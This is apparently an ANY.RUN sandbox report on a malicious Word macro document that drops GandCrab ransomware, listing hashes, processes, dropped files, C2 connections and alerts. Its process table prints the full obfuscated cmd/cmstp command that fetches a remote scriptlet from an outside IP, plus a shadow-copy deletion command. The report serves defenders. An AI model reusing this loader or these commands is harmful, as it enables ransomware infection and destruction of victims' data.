analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

eFax_Dokument.doc

Full analysis: https://app.any.run/tasks/06693ee4-894d-418d-8fa2-022d8ae854fa
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: March 21, 2019, 19:10:54
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
trojan
squiblydoo
ransomware
gandcrab
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: Admin, Revision Number: 3, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:00, Create Time/Date: Thu Jan 31 14:52:00 2019, Last Saved Time/Date: Thu Mar 21 14:35:00 2019, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0
MD5:

B6A6641BAF74CFDC80F28F7EC2B56347

SHA1:

AEA672AF6D6E1CDB20F1C7B281D53DB506200559

SHA256:

7E2D088E4950E867E875C547206795683070FA25E8C90AD301D3763B02A252A2

SSDEEP:

1536:3mMGHuJHHAShblIvD8P1aMxLm/4KnG0zFCFjkT2PXMdo0ZXEFN3FTHHG2bRBjD+w:3mmgKbS+1aMxLm/4KnqFNXM8VTHm2b/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 61491.exe (PID: 2724)

    • Writes file to Word startup folder

      • 61491.exe (PID: 2724)

    • SQUIBLYDOO was detected

      • cmstp.exe (PID: 2972)

    • Actions looks like stealing of personal data

      • 61491.exe (PID: 2724)

    • Deletes shadow copies

      • cmd.exe (PID: 976)

    • Renames files like Ransomware

      • 61491.exe (PID: 2724)

    • Dropped file may contain instructions of ransomware

      • 61491.exe (PID: 2724)

    • Connects to CnC server

      • 61491.exe (PID: 2724)

    • Changes settings of System certificates

      • 61491.exe (PID: 2724)

    • GANDCRAB detected

      • 61491.exe (PID: 2724)

  • SUSPICIOUS

    • Creates files in the user directory

      • cmd.exe (PID: 400)
      • cmstp.exe (PID: 2972)
      • 61491.exe (PID: 2724)

    • Reads the cookies of Mozilla Firefox

      • 61491.exe (PID: 2724)

    • Creates files in the program directory

      • 61491.exe (PID: 2724)

    • Executable content was dropped or overwritten

      • cmstp.exe (PID: 2972)
      • 61491.exe (PID: 2724)

    • Starts CMD.EXE for commands execution

      • 61491.exe (PID: 2724)

    • Adds / modifies Windows certificates

      • 61491.exe (PID: 2724)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1332)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1332)

    • Dropped object may contain Bitcoin addresses

      • 61491.exe (PID: 2724)

    • Dropped object may contain TOR URL's

      • 61491.exe (PID: 2724)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 26
Paragraphs: 1
Lines: 1
Company:
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 23
Words: 4
Pages: 1
ModifyDate: 2019:03:21 14:35:00
CreateDate: 2019:02:28 14:52:00
TotalEditTime: 2.0 minutes
Software: Microsoft Office Word
RevisionNumber: 3
LastModifiedBy: Admin
Template: Normal
Comments: -
Keywords: -
Author: Admin
Subject: -
Title: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
47
Monitored processes
9
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs #SQUIBLYDOO cmstp.exe #GANDCRAB 61491.exe cmd.exe vssadmin.exe no specs vssvc.exe no specs explorer.exe no specs notepad.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1332"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\eFax_Dokument.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
400cmd /V /C set "I8=s" && !I8!et "I53=\" && !I8!et "I2=e" && !I8!et "I5=i" && !I8!et "I96=A" && !I8!et "I6=N" && !I8!et "I89=d" && c!I96!ll !I8!et "I0=%!I96!PP!I89!!I96!T!I96!%" && c!I96!ll !I8!et "I31=%R!I96!!I6!!I89!OM%" && !I8!et "I81=!I0!!I53!M!I5!cro!I8!oft!I53!T!I2!mplat!I2!s!I53!!I31!.txt" && !I8!et "I07="^" && (For %i in ("[v!I2!r!I8!ion]" "!I8!ignatur!I2!=$Wi!I6!dow!I8! NTf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[D!I2!faultIn!I8!tall_Singl!I2!U!I8!er]" "UnR!I2!gi!I8!t!I2!rOCXs=I97" "[I97]" "%11%\%I7_1%%I7_2%%I7_3%,NI,%I_1%%I_2%%I_3%%I_4%%I_5%%I_6%%I_7%%I_8%%I_9%%I_10%%I_11%%I_12%%I_13%%I_14%" "[!I8!tring!I8!]" "I_1=ht" "I_2=tp" "I_3=:/" "I_4=/1" "I_5=34" "I_6=.2" "I_7=09" "I_8=.8" "I_9=8." "I_10=23" "I_11=/a" "I_12=sd" "I_13=.t" "I_14=xt" "I7_2=rO" "I7_1=sC" "I7_3=bJ" ) do @echo %~i)>"!I81!" && echo !I8!erv!I5!ceNam!I2!=!I07! !I07!>>!I81! && echo !I8!hortSvcN!I96!me=!I07! !I07!>>!I81! && c!I96!ll !I8!et "I28=%WI!I6!!I89!IR%" && !I8!t!I96!rt "" !I28!!I53!Sy!I8!t!I2!m32!I53!cm!I8!tp.!I2!x!I2! /s /ns "!I81!"C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2972C:\Windows\System32\cmstp.exe /s /ns "C:\Users\admin\AppData\Roaming\Microsoft\Templates\22515.txt"C:\Windows\System32\cmstp.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile Installer
Exit code:
0
Version:
7.02.7600.16385 (win7_rtm.090713-1255)
2724"C:\Users\admin\AppData\Roaming\Microsoft\61491.exe" C:\Users\admin\AppData\Roaming\Microsoft\61491.exe
cmstp.exe
User:
admin
Integrity Level:
MEDIUM
976"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quietC:\Windows\system32\cmd.exe
61491.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2732vssadmin delete shadows /all /quietC:\Windows\system32\vssadmin.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2384C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2528"C:\Windows\explorer.exe" C:\Windows\explorer.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3536"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Documents\ZNNBUPAGK-MANUAL.txtC:\Windows\system32\NOTEPAD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 627
Read events
1 225
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
420
Text files
324
Unknown types
20

Dropped files

PID
Process
Filename
Type
1332WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR891C.tmp.cvr —
MD5:—
SHA256:—
1332WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFF7E7E2DDCE646FD7.TMP —
MD5:—
SHA256:—
1332WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:9B223D52F27D6AE02C2A47C6E1F60E21
SHA256:FE4622B09BDFB37BEFB68216A1FBBC80456B8C364A161278B1E749D0A6CB8AFF
2972cmstp.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\asd[1].txtxml
MD5:ABFC9F675ED11D18EDD688768D4A4BCA
SHA256:AC341B8CFACFC80E75FD0B987862822DFC24D210800001D6FDC6DC7488CA673B
272461491.exeC:\ZNNBUPAGK-MANUAL.txttext
MD5:7565538717CC0B49AE34FD5A47437AE1
SHA256:3AE253698F81C3F08F248C35981D71FF9B43CA128A24A1F42269C5ADD7A60730
1332WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\SystemMonitor.exdtlb
MD5:3AA81FCEEE6BF7B8D4BC73967F8D691E
SHA256:A9B9C2EFF379EC25BB751E5B0C9982C6AF7181C810D43272EC02DFE9ADDBCDB2
272461491.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi —
MD5:—
SHA256:—
272461491.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim.znnbupagk —
MD5:—
SHA256:—
1332WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DA2BB6C0.wmfwmf
MD5:9B958D431B80584579043950B6329CC2
SHA256:0C014D127F39FDEEDFA2229D89442011E65B0B09A38F748231D64FCE5E29224E
1332WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\57C8C7C1.wmfwmf
MD5:D86985C19F48E25936DFEA3C00548993
SHA256:63F0D0BA957DCCF7CA90F3F509B077383656EF9B9B73C0E16956A53C28B09196
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
4
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2972
cmstp.exe
GET
200
134.209.88.23:80
http://134.209.88.23/asd.txt
US
xml
280 Kb
malicious
2724
61491.exe
POST
301
107.173.49.208:80
http://www.kakaocorp.link/content/assets/fumokafumo.gif
US
html
162 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2724
61491.exe
107.173.49.208:80
www.kakaocorp.link
ColoCrossing
US
malicious
2724
61491.exe
107.173.49.208:443
www.kakaocorp.link
ColoCrossing
US
malicious
2972
cmstp.exe
134.209.88.23:80
—
—
US
malicious

DNS requests

Domain
IP
Reputation
www.kakaocorp.link
  • 107.173.49.208
malicious
kakaocorp.link
  • 107.173.49.208
malicious

Threats

PID
Process
Class
Message
2972
cmstp.exe
A Network Trojan was detected
MALWARE [PTsecurity] Squiblydoo Scriptlet
2724
61491.exe
A Network Trojan was detected
ET POLICY Data POST to an image file (gif)
2724
61491.exe
A Network Trojan was detected
MALWARE [PTsecurity] GandCrab Ransomware HTTP
2724
61491.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2724
61491.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2724
61491.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2724
61491.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2724
61491.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2724
61491.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
eFax_Dokument.doc